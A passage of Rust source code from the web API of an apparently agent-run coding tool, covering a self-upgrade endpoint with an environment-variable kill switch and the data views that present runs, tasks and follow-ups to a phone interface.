3598        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3599        return finish_upgrade_request(
3600            ui,
3601            upgrade_checked_for(
3602                ui,
3603                env!("CARGO_PKG_VERSION").into(),
3604                Ok(Some(latest)),
3605                trigger,
3606            ),
3607        );
3608    }
3609    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3610}
3611
3612fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3613    match result {
3614        Ok(out) => {
3615            *ui.upgrade_request_error
3616                .lock()
3617                .unwrap_or_else(PoisonError::into_inner) = None;
3618            out.into_response()
3619        }
3620        Err(error) if error.status != StatusCode::CONFLICT => {
3621            let failure = UpgradeRequestFailure::new(error.message);
3622            *ui.upgrade_request_error
3623                .lock()
3624                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3625            let mut response = (error.status, Json(&failure)).into_response();
3626            if let Some(value) = failure
3627                .retry_after_secs
3628                .and_then(|secs| secs.to_string().parse().ok())
3629            {
3630                response.headers_mut().insert("retry-after", value);
3631            }
3632            response
3633        }
3634        Err(error) => error.into_response(),
3635    }
3636}
3637
3638async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3639    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3640        return Err(ApiError::conflict(
3641            "an upgrade is already in progress (this process started one and it \
3642             has not finished or failed yet)",
3643        ));
3644    }
3645    let recorded = updater::read_progress(&ui.home);
3646    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3647        return Err(ApiError::conflict(format!(
3648            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3649             stays stuck, restart the deck; on start it settles a stale record.",
3650            p.stage.as_str(),
3651            p.from,
3652            p.to.as_deref().unwrap_or("?"),
3653        )));
3654    }
3655
3656    // The same kill switch the background check honours (`disabled_by_env`),
3657    // checked before anything else for the same reason it is read before the
3658    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3659    // contact GitHub from this process", and a button press must not
3660    // override that any more than a broken `magi.toml` may.
3661    if crate::updater::disabled_by_env() {
3662        return Ok((
3663            StatusCode::OK,
3664            Json(UpgradeView {
3665                from: env!("CARGO_PKG_VERSION").to_owned(),
3666                to: None,
3667                detail: format!(
3668                    "Automatic updates are disabled by {}. Nothing was parked \
3669                     and nothing restarted.",
3670                    crate::updater::NO_AUTOUPDATE_ENV
3671                ),
3672            }),
3673        ));
3674    }
3675
3676    // Check before disturbing listeners or scheduling: no available update
3677    // means there is no reason to restart anything.
3678    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3679    let from = env!("CARGO_PKG_VERSION").to_owned();
3680    let latest = match crate::updater::Checker::new(&cfg.update) {
3681        Some(checker) => checker.newer_release().await,
3682        None => Ok(None),
3683    };
3684    upgrade_checked(ui, from, latest)
3685}
3686
3687fn upgrade_checked(
3688    ui: &Arc<Ui>,
3689    from: String,
3690    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3691) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3692    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3693}
3694
3695fn upgrade_checked_for(
3696    ui: &Arc<Ui>,
3697    from: String,
3698    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3699    trigger: updater::UpgradeTrigger,
3700) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3701    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3702    let Some(latest) = latest else {
3703        return Ok((
3704            StatusCode::OK,
3705            Json(UpgradeView {
3706                from,
3707                to: None,
3708                detail: "Already on the newest release. Nothing was parked \
3709                         and nothing restarted."
3710                    .to_owned(),
3711            }),
3712        ));
3713    };
3714
3715    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3716
3717    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3718    // poll must see a `Downloading` stage immediately, not whenever the
3719    // spawned task happens to get scheduled.
3720    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3721    progress.trigger = trigger;
3722    updater::write_progress_logged(&ui.home, &progress);
3723
3724    let home = ui.home.clone();
3725    ui.upgrade_spawned
3726        .store(true, std::sync::atomic::Ordering::SeqCst);
3727    let spawned = Arc::clone(&ui.upgrade_spawned);
3728    let runner = ui.upgrade_runner;
3729    let failed = ui.auto_failed_tag.clone();
3730    let tag = latest.tag_name.clone();
3731    tokio::spawn(async move {
3732        if let Err(e) = runner(home.clone()).await {
3733            if trigger == updater::UpgradeTrigger::Auto {
3734                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3735            }
3736            tracing::error!("the upgrade did not complete: {e:#}");
3737            // A failure of this attempt says nothing about a handover an
3738            // earlier request already has in flight; checked and written
3739            // under the progress lock.
3740            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3741            // Release only after failure bookkeeping, before accepting a retry.
3742            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3743        }
3744    });
3745
3746    Ok((
3747        StatusCode::ACCEPTED,
3748        Json(UpgradeView {
3749            from,
3750            to: Some(latest.tag_name),
3751            detail,
3752        }),
3753    ))
3754}
3755
3756/// Replace the binary, then ask [`serve`] to hand the address over.
3757///
3758/// Separated from the handler so the 202 is already on its way, and separated
3759/// from the spawn so the successor starts only after the listener is dropped.
3760async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3761    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3762    // hang the upgrade for as long as the process lives.
3763    crate::updater::run_self_update(true, false, true).await?;
3764    updater::log_step(&home, "binary replaced - recording the replaced stage");
3765    if let Some(mut progress) = updater::read_progress(&home) {
3766        progress.advance(updater::Stage::Replaced);
3767        updater::write_progress_logged(&home, &progress);
3768    }
3769    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3770    HANDOVER.notify_one();
3771    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3772    Ok(())
3773}
3774
3775/// One row in the run list.
3776///
3777/// The list route returns this rather than whole `RunState`s: the summary of a
3778/// run is a few hundred bytes and the state is megabytes, and the difference
3779/// is what makes the history usable on a mobile link.
3780#[derive(Debug, Serialize)]
3781struct RunSummary {
3782    activity: String,
3783    id: String,
3784    short: String,
3785    status: String,
3786    done: bool,
3787    instruction: String,
3788    title: String,
3789    repo: String,
3790    repo_name: String,
3791    created_at: String,
3792    updated_at: String,
3793    candidates: usize,
3794    viable: usize,
3795    judges: usize,
3796    winner: Option<char>,
3797    reviews: usize,
3798    quota_losses: usize,
3799    event: Option<String>,
3800    /// The later attempt at the same task that replaced this one, if any.
3801    ///
3802    /// Two cards with one title is otherwise unreadable: this is what lets
3803    /// the deck say "superseded by 4043" on the older of the pair.
3804    superseded_by: Option<String>,
3805    /// Blocked on a question nobody has answered.
3806    ///
3807    /// Derived from the question store rather than stored on the run: an agent
3808    /// calling `magi ask` blocks mid-node, and writing a status from there
3809    /// would race the graph's own save of `run.json` and be overwritten at the
3810    /// next node boundary. Asking the store is always true and never races.
3811    waiting: bool,
3812    /// Whether the process recorded as driving this run can still be proven
3813    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3814    /// rather than presenting its last graph node as still in flight.
3815    live: crate::run::Liveness,
3816    /// The land loop's last look at the pull request, when there is one.
3817    pr: Option<crate::run::PrRecord>,
3818    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3819    /// design — never picked up by the PR-polling merge watcher, unlike an
3820    /// ordinary `Ready` that may still be a live landing candidate. See
3821    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3822    /// re-deriving the same check from `status` and `merge.mode` itself.
3823    unmerged_by_design: bool,
3824    /// Derived presentation status matching [`RunDetailView::display_status`].
3825    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3826    #[serde(default)]
3827    display_status: String,
3828    /// What the status badge shows: `display_status`, or `superseded` for a
3829    /// non-live run a later attempt replaced. See [`run_badge_status`].
3830    #[serde(default)]
3831    badge_status: String,
3832    /// Who started the run, as the one label every surface shares; the
3833    /// "origin unknown" wording when the record predates origins.
3834    origin_label: String,
3835}
3836
3837impl RunSummary {
3838    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3839        Self {
3840            activity: crate::run_progress::activity(state, live, waiting),
3841            id: state.id.clone(),
3842            short: state.short().to_owned(),
3843            status: status_word(state.status),
3844            done: state.status.done(),
3845            unmerged_by_design: state.unmerged_by_design(),
3846            display_status: run_display_status(state, waiting, live),
3847            badge_status: run_display_status(state, waiting, live),
3848            instruction: state.instruction.clone(),
3849            title: title_from(&state.instruction, TITLE_MAX),
3850            repo: state.repo.display().to_string(),
3851            repo_name: state
3852                .repo
3853                .file_name()
3854                .map(|n| n.to_string_lossy().into_owned())
3855                .unwrap_or_default(),
3856            created_at: state.created_at.to_string(),
3857            updated_at: state.updated_at.to_string(),
3858            candidates: state.candidates.len(),
3859            viable: state.viable().len(),
3860            judges: state.config.graph.judges,
3861            winner: state.winner().map(|c| c.label),
3862            reviews: state.reviews.len(),
3863            quota_losses: state.quota.len(),
3864            event: state
3865                .verification_blocking_cause()
3866                .or_else(|| state.events.last().map(|e| e.message.clone())),
3867            waiting,
3868            live,
3869            // Filled in by the list route, which is the only place that can
3870            // see a task's other attempts.
3871            superseded_by: None,
3872            pr: state.pr.clone(),
3873            origin_label: crate::run::origin_label(state.origin.as_ref()),
3874        }
3875    }
3876}
3877
3878/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3879/// the same string `serde` writes for the status inside a full run.
3880fn status_word(status: RunStatus) -> String {
3881    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3882    // was a third way of naming the same statuses, and one that changed
3883    // silently with a derive.
3884    status.as_str().to_owned()
3885}
3886
3887/// The presentation status for a run, unified across summaries and details.
3888///
3889/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3890/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3891/// runs awaiting operator answers.
3892fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3893    if waiting {
3894        return "waiting".to_owned();
3895    }
3896    if state.unmerged_by_design() {
3897        return "unmerged".to_owned();
3898    }
3899    if !state.status.done() && live == crate::run::Liveness::Dead {
3900        // The driver claim clears this flag before saving another event.
3901        // A previous park event can therefore outlive a resumed driver.
3902        if state.parked {
3903            return "parked".to_owned();
3904        }
3905        return "stale".to_owned();
3906    }
3907    status_word(state.status)
3908}
3909
3910/// The word a run's status badge shows: `display_status`, except that a
3911/// non-terminal run which is not provably live and was replaced by a later
3912/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3913///
3914/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3915/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3916/// own word, so superseded never claims more than "not live".
3917fn run_badge_status(
3918    state: &RunState,
3919    display_status: &str,
3920    live: crate::run::Liveness,
3921    superseded: bool,
3922) -> String {
3923    if state.status.done() || live == crate::run::Liveness::Live {
3924        return display_status.to_owned();
3925    }
3926    if superseded {
3927        return "superseded".to_owned();
3928    }
3929    // A dead run's `display_status` is `stale`, except that a deliberate park
3930    // and an open owner question keep their own word: neither is a crash, and
3931    // the question still needs an answer. Anything else dead reads `stale`.
3932    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3933        return "stale".to_owned();
3934    }
3935    display_status.to_owned()
3936}
3937
3938/// `?limit=`, clamped by the handler.
3939#[derive(Debug, Deserialize)]
3940struct ListQuery {
3941    #[serde(default)]
3942    limit: Option<usize>,
3943    /// Exact ids only; an empty value requests no rows (except queue blockers).
3944    ids: Option<String>,
3945}
3946
3947impl ListQuery {
3948    fn contains(&self, id: &str) -> bool {
3949        self.ids
3950            .as_ref()
3951            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3952    }
3953}
3954
3955async fn runs_list(
3956    State(ui): State<Arc<Ui>>,
3957    Query(q): Query<ListQuery>,
3958) -> ApiResult<Json<Vec<RunSummary>>> {
3959    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3960    blocking(move || {
3961        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3962        let states = run_ids(&ui.runs)
3963            .into_iter()
3964            // A run whose state cannot be read is skipped, not fatal: a run
3965            // killed mid-write must not blank the history of every other one.
3966            // The detail route still explains it, which is where an operator
3967            // asking "what happened to that run" ends up.
3968            .filter_map(|id| read_run(&ui.runs, &id).ok())
3969            .take(limit)
3970            .filter(|run| q.contains(&run.id));
3971        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3972        let summaries = summarize(
3973            states,
3974            &open_runs,
3975            &claimed,
3976            &superseded,
3977            |p| probe.borrow_mut().status(p),
3978            |p| probe.borrow_mut().started_at(p),
3979        );
3980        Ok(Json(summaries))
3981    })
3982    .await
3983}
3984
3985/// Everything the per-run rows share, read once: runs with an open question,
3986/// runs a live daemon claims, and the superseded map. Asking per run re-read
3987/// every question file and the daemon status file for each of hundreds of
3988/// runs, and spawned a process probe per run on Windows.
3989fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3990    let open_runs: HashSet<String> = ui
3991        .questions
3992        .list()
3993        .into_iter()
3994        .filter(|q| q.status.open())
3995        .map(|q| q.run)
3996        .collect();
3997    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3998        .into_iter()
3999        .map(|c| c.run)
4000        .collect();
4001    (open_runs, claimed, ui.queue.superseded())
4002}
4003
4004/// The rows of the run list, given everything that is shared between them.
4005///
4006/// Pure over its inputs so a test can count how often the process queries are
4007/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4008/// takes, called at most once per run.
4009fn summarize<I, S, D>(
4010    states: I,
4011    open_runs: &HashSet<String>,
4012    claimed: &HashSet<String>,
4013    superseded: &HashMap<String, String>,
4014    mut status_q: S,
4015    mut identity_q: D,
4016) -> Vec<RunSummary>
4017where
4018    I: IntoIterator<Item = RunState>,
4019    S: FnMut(u32) -> Option<bool>,
4020    D: FnMut(u32) -> Option<String>,
4021{
4022    states
4023        .into_iter()
4024        .map(|state| {
4025            let waiting = open_runs.contains(&state.id);
4026            let live =
4027                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4028            let mut row = RunSummary::of(&state, waiting, live);
4029            row.superseded_by = state
4030                .pr_taken_over_by
4031                .as_ref()
4032                .or_else(|| superseded.get(&state.id))
4033                .map(String::as_str)
4034                .map(crate::run::short_of)
4035                .map(str::to_owned);
4036            row.badge_status = run_badge_status(
4037                &state,
4038                &row.display_status,
4039                live,
4040                row.superseded_by.is_some(),
4041            );
4042            row
4043        })
4044        .collect()
4045}
4046
4047/// A run as the detail route hands it to the phone.
4048///
4049/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4050/// the instruction as markdown, and the raw `instruction` field this struct
4051/// still carries (unchanged) is what a client wanting the exact bytes reads
4052/// instead.
4053#[derive(Debug, Serialize)]
4054struct RunDetailView {
4055    progress: crate::run_progress::Progress,
4056    stop_reason: Option<String>,
4057    #[serde(flatten)]
4058    state: RunState,
4059    instruction_md: Vec<md::Node>,
4060    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4061    /// mirror the records they come from, index for index; the raw strings
4062    /// stay in `state` and decide whether a block is shown at all.
4063    #[serde(flatten)]
4064    prose_md: RunProseMd,
4065    /// Whether a process is actually still driving this run: `"live"`,
4066    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4067    ///
4068    /// `state.active` (flattened in above) is only ever cleared by the
4069    /// process that populated it; a killed one leaves its last wave's
4070    /// entries behind. Carrying this alongside is what lets the phone rail
4071    /// tell "this seat is still answering" from "this seat was still
4072    /// answering when whatever was driving this run died" without a second
4073    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4074    /// proof of either. A string rather than a bool on purpose: a daemon
4075    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4076    /// and neither proven is `"unknown"` — folding that third case into
4077    /// either end of a bool is exactly the wrong call for a phone screen an
4078    /// operator uses to decide whether to wait or to act.
4079    live: crate::run::Liveness,
4080    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4081    /// alongside the flattened `state` rather than inside it, since
4082    /// `RunState` has no business knowing which of its own methods a caller
4083    /// wants serialized.
4084    unmerged_by_design: bool,
4085    /// Same field and meaning as [`RunSummary::waiting`].
4086    #[serde(default)]
4087    waiting: bool,
4088    /// Same derived presentation status as [`RunSummary::display_status`].
4089    #[serde(default)]
4090    display_status: String,
4091    /// Same field and meaning as [`RunSummary::badge_status`].
4092    #[serde(default)]
4093    badge_status: String,
4094    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4095    /// terminal. The client's `landView` keys on it, and the flattened state
4096    /// has no such field, so without it a finished run's stale `open` PR
4097    /// would be painted as live on the detail page.
4098    done: bool,
4099    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4100    /// route fills it from [`Queue::superseded`], the detail route from
4101    /// [`Queue::superseded_by`], and both read the same underlying task
4102    /// order. Without this the detail page could only ever show a red
4103    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4104    /// with nothing anywhere saying so — an operator opening it had no way
4105    /// to tell "this is done elsewhere" from "this still needs a retry".
4106    superseded_by: Option<String>,
4107    /// The task's current attempt, when this run is an older one — resolved
4108    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4109    /// the client to derive.
4110    ///
4111    /// Three things a client cannot safely do on its own drove this onto the
4112    /// server: it has to name the chain's *current head*, not just the next
4113    /// attempt (`superseded_by` above), because an intermediate retry in a
4114    /// longer chain can itself still be unresolved; it has to resolve to a
4115    /// real id rather than a short id a client would have to guess a full id
4116    /// from, which is ambiguous the moment two runs share a suffix; and it
4117    /// has to read that head's own status directly, because whether a run
4118    /// list a client happens to have cached even contains that attempt
4119    /// depends on a page limit this route knows nothing about.
4120    latest_attempt: Option<LatestAttempt>,
4121    /// The queue task this run belongs to, so the detail page can link back
4122    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4123    task: Option<TaskRef>,
4124    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4125    /// run recorded before origins existed. `origin` itself (flattened in
4126    /// with `state`) is `null` in that case.
4127    origin_label: String,
4128    /// Each recorded pass over this run, with the cause it stopped for. Empty
4129    /// for a run from before passes were kept: its earlier passes are unknown.
4130    pass_views: Vec<PassView>,
4131}
4132
4133/// A task named from a run's detail page.
4134#[derive(Debug, Serialize)]
4135struct TaskRef {
4136    id: String,
4137    short: String,
4138    title: String,
4139    /// [`Source::label`], e.g. `chat@a1b2`.
4140    source_label: String,
4141    /// Where the task came from, when that place has a page; see [`source_link`].
4142    source_link: Option<SourceLink>,
4143    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4144    status: &'static str,
4145    attempts: usize,
4146    max_attempts: usize,
4147    /// This run is the last entry of the task's run list.
4148    is_latest: bool,
4149    /// The task's newest run, when it is not this one.
4150    latest: Option<RunBrief>,
4151    /// The run that finished a `done` task (merged, or already in the base).
4152    finished_by: Option<RunBrief>,
4153    /// The task is `done` but no run on record finished it: closed by hand.
4154    closed_by_hand: bool,
4155}
4156
4157/// The page that filed a task, as the UI links to it.
4158#[derive(Debug, PartialEq, Eq, Serialize)]
4159struct SourceLink {
4160    /// `chat` (a conversation) or `run` (a run's node).
4161    kind: &'static str,
4162    /// The full id, never the short one in the label.
4163    id: String,
4164    /// The hash route that opens it.
4165    href: String,
4166}
4167
4168/// Percent-encode everything outside the URL-unreserved set.
4169fn encode_segment(raw: &str) -> String {
4170    let mut out = String::with_capacity(raw.len());
4171    for b in raw.bytes() {
4172        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4173            out.push(b as char);
4174        } else {
4175            out.push_str(&format!("%{b:02X}"));
4176        }
4177    }
4178    out
4179}
4180
4181/// The one place that decides where a task's source links to. A chat
4182/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4183/// a person or an imported issue has no page, so no link.
4184fn source_link(source: &Source) -> Option<SourceLink> {
4185    let Source::Agent { run, node } = source else {
4186        return None;
4187    };
4188    let (kind, route) = if node == crate::queue::CHAT_NODE {
4189        ("chat", "chat")
4190    } else {
4191        ("run", "runs")
4192    };
4193    Some(SourceLink {
4194        kind,
4195        id: run.clone(),
4196        href: id_links::page_href(route, run),
4197    })
4198}
4199
4200/// The parent task of a follow-up, when its file can still be read.
4201#[derive(Debug, Serialize, PartialEq)]
4202struct FollowUpParent {
4203    id: String,
4204    short: String,
4205    title: String,
4206    /// The parent's own status (`TaskStatus::as_str`).
4207    status: &'static str,
4208    href: String,
4209}
4210
4211/// The merged run a follow-up was filed from.
4212#[derive(Debug, Serialize, PartialEq)]
4213struct FollowUpRun {
4214    id: String,
4215    short: String,
4216    /// `None` when the run's record cannot be read.
4217    status: Option<&'static str>,
4218    /// `None` unless the record could be read: never a dead link.
4219    href: Option<String>,
4220}
4221
4222/// Where a follow-up task came from, resolved once per task page so the flow
4223/// chart and the detail block cannot disagree. See [`followup_origin`].
4224#[derive(Debug, Serialize, PartialEq)]
4225struct FollowUpOrigin {
4226    /// Present only when `origin_task` is set and that task still exists.
4227    parent: Option<FollowUpParent>,
4228    run: FollowUpRun,
4229    /// The merged pull request, verbatim. Not an href: the client passes it
4230    /// through `forgeUrl()` and renders text when that refuses it (the one
4231    /// exception to "the href rule is Rust's alone", since a forge URL is
4232    /// data from a record, not a route).
4233    pr: String,
4234    findings: Vec<String>,
4235    generation: u32,
4236}
4237
4238/// The one place that decides what a follow-up links to. A parent that cannot
4239/// be read (gone, or an id that names nothing) is `None`, never an error.
4240fn followup_origin(
4241    fu: &crate::queue::FollowUp,
4242    task: impl Fn(&str) -> Option<Task>,
4243    run: impl Fn(&str) -> Option<RunState>,
4244) -> FollowUpOrigin {
4245    let parent = fu
4246        .origin_task
4247        .as_deref()
4248        .and_then(task)
4249        .map(|t| FollowUpParent {
4250            short: t.short().to_owned(),
4251            href: format!("#/tasks/{}", encode_segment(&t.id)),
4252            status: t.status.as_str(),
4253            title: t.title,
4254            id: t.id,
4255        });
4256    let state = run(&fu.run);
4257    FollowUpOrigin {
4258        parent,
4259        run: FollowUpRun {
4260            short: run::short_of(&fu.run).to_owned(),
4261            status: state.as_ref().map(|s| s.status.as_str()),
4262            href: state
4263                .is_some()
4264                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4265            id: fu.run.clone(),
4266        },
4267        pr: fu.pr.clone(),
4268        findings: fu.findings.clone(),
4269        generation: fu.generation,
4270    }
4271}
4272
4273/// Another run of the same task, as named from a run's detail page.
4274#[derive(Debug, Serialize)]
4275struct RunBrief {
4276    id: String,
4277    short: String,
4278    /// `None` when the run's record cannot be read.
4279    status: Option<&'static str>,
4280    /// The task-page wording for how that pass ended.
4281    outcome: String,
4282    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4283    badge: Option<String>,
4284}
4285
4286/// The task's overall outcome as seen from `this_run`'s page, classified with
4287/// the same exits the task page's flowchart uses.
4288fn task_outcome(
4289    task: &Task,
4290    this_run: &str,
4291    max_attempts: usize,
4292    read: impl Fn(&str) -> Option<RunState>,
4293) -> TaskRef {
4294    let max_attempts = task.effective_attempt_limit(max_attempts);
4295    let history = task_history(task, read);
4296    let brief = |h: &TaskRunView| RunBrief {
4297        id: h.id.clone(),
4298        short: h.short.clone(),
4299        status: h.status,
4300        outcome: h.exit.edge_label(h.status),
4301        badge: h.badge.clone(),
4302    };
4303    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4304    let latest = if is_latest {
4305        None
4306    } else {
4307        history.last().map(brief)
4308    };
4309    let done = task.status == TaskStatus::Done;
4310    let finished_by = done
4311        .then(|| {
4312            history
4313                .iter()
4314                .rev()
4315                .find(|h| {
4316                    matches!(
4317                        h.exit,
4318                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4319                    )
4320                })
4321                .map(brief)
4322        })
4323        .flatten();
4324    TaskRef {
4325        short: task.short().to_owned(),
4326        title: task.title.clone(),
4327        id: task.id.clone(),
4328        source_label: task.source.label(),
4329        source_link: source_link(&task.source),
4330        status: task.status.as_str(),
4331        attempts: task.attempts,
4332        max_attempts,
4333        is_latest,
4334        latest,
4335        closed_by_hand: done && finished_by.is_none(),
4336        finished_by,
4337    }
4338}
4339
4340/// The task's current attempt, as seen from an older one's detail page.
4341#[derive(Debug, Serialize)]
4342struct LatestAttempt {
4343    id: String,
4344    short: String,
4345    /// Whether this attempt itself settled with a result nobody needs to
4346    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4347    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4348    /// unconfirmed claim that no change was needed, which is exactly why it
4349    /// settles the task through `Held` rather than `Done` and still waits on
4350    /// a human to check the evidence; showing an older run as "finished
4351    /// elsewhere" on the strength of an unverified claim would bury the
4352    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4353    /// in-flight status are excluded because they are exactly the
4354    /// unresolved states this field exists to tell apart from a real finish.
4355    resolved: bool,
4356    /// The attempt's own recorded status, so the page can say where it
4357    /// stands while it is not resolved yet.
4358    status: RunStatus,
4359    /// Whether that status is terminal (nothing is still running it).
4360    done: bool,
4361}
4362
4363/// Markdown for the free-text prose of a run, parallel to `RunState`.
4364#[derive(Debug, Default, Serialize)]
4365struct RunProseMd {
4366    /// `None` when the run has no design deliberation.
4367    advice_md: Option<AdviceMd>,
4368    /// One entry per candidate: the summary.
4369    candidate_summaries_md: Vec<Vec<md::Node>>,
4370    /// One entry per review round, in `reviews` order.
4371    reviews_md: Vec<RoundMd>,
4372}
4373
4374#[derive(Debug, Default, Serialize)]
4375struct AdviceMd {
4376    synthesis: Vec<md::Node>,
4377    /// One per record; empty for a seat with no proposal.
4378    approaches: Vec<Vec<md::Node>>,
4379}
4380
4381#[derive(Debug, Default, Serialize)]
4382struct RoundMd {
4383    /// One per reviewer record.
4384    reviewers: Vec<ReviewerMd>,
4385    /// One per `reconsideration` entry: the reason.
4386    reconsideration: Vec<Vec<md::Node>>,
4387    fix: Option<FixMd>,
4388}
4389
4390#[derive(Debug, Default, Serialize)]
4391struct ReviewerMd {
4392    summary: Vec<md::Node>,
4393    /// One per finding, in recorded order (not the display order).
4394    findings: Vec<Vec<md::Node>>,
4395}
4396
4397#[derive(Debug, Default, Serialize)]
4398struct FixMd {
4399    notes: Vec<md::Node>,
4400    /// One per rejection: the argument.
4401    rejected: Vec<Vec<md::Node>>,
4402}
4403
4404/// Parse a run's agent-written prose; a pure function of the state.
4405fn run_prose_md(state: &RunState) -> RunProseMd {
4406    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4407    RunProseMd {
4408        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4409            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4410            approaches: a
4411                .records
4412                .iter()
4413                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4414                .collect(),
4415        }),
4416        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4417        reviews_md: state
4418            .reviews
4419            .iter()
4420            .map(|round| RoundMd {
4421                reviewers: round
4422                    .reviews
4423                    .iter()
4424                    .map(|rec| ReviewerMd {
4425                        summary: nodes(&rec.summary),
4426                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4427                    })
4428                    .collect(),
4429                reconsideration: round
4430                    .reconsideration
4431                    .iter()
4432                    .map(|rv| nodes(&rv.reason))
4433                    .collect(),
4434                fix: round.fix.as_ref().map(|fix| FixMd {
4435                    notes: nodes(&fix.notes),
4436                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4437                }),
4438            })
4439            .collect(),
4440    }
4441}
4442
4443impl RunDetailView {
4444    fn of(
4445        state: RunState,
4446        waiting: bool,
4447        live: crate::run::Liveness,
4448        superseded_by: Option<String>,
4449        latest_attempt: Option<LatestAttempt>,
4450        task: Option<TaskRef>,
4451    ) -> Self {
4452        let display_status = run_display_status(&state, waiting, live);
4453        let stop_reason = crate::stop_reason::of(
4454            &state,
4455            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4456        );
4457        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4458        Self {
4459            progress: crate::run_progress::build(&state, live, waiting),
4460            stop_reason,
4461            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4462            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4463            prose_md: run_prose_md(&state),
4464            origin_label: crate::run::origin_label(state.origin.as_ref()),
4465            live,
4466            unmerged_by_design: state.unmerged_by_design(),
4467            waiting,
4468            display_status,
4469            badge_status,
4470            done: state.status.done(),
4471            superseded_by,
4472            latest_attempt,
4473            task,
4474            state,
4475        }
4476    }
4477}
4478
4479/// Core content needs neither the queue nor question/liveness evidence.
4480async fn run_core(
4481    State(ui): State<Arc<Ui>>,
4482    Path(id): Path<String>,
4483) -> ApiResult<Json<RunDetailView>> {
4484    blocking(move || {
4485        let id = resolve_run(&ui.runs, &id)?;
4486        let state = read_run(&ui.runs, &id)?;
4487        Ok(Json(RunDetailView::of(
4488            state,
4489            false,
4490            crate::run::Liveness::Unknown,
4491            None,
4492            None,
4493            None,
4494        )))
4495    })
4496    .await
4497}
4498
4499/// Lightweight observation: never replaces the evidence used by controls.
4500async fn run_progress(
4501    State(ui): State<Arc<Ui>>,
4502    Path(id): Path<String>,
4503) -> ApiResult<Json<serde_json::Value>> {
4504    blocking(move || {
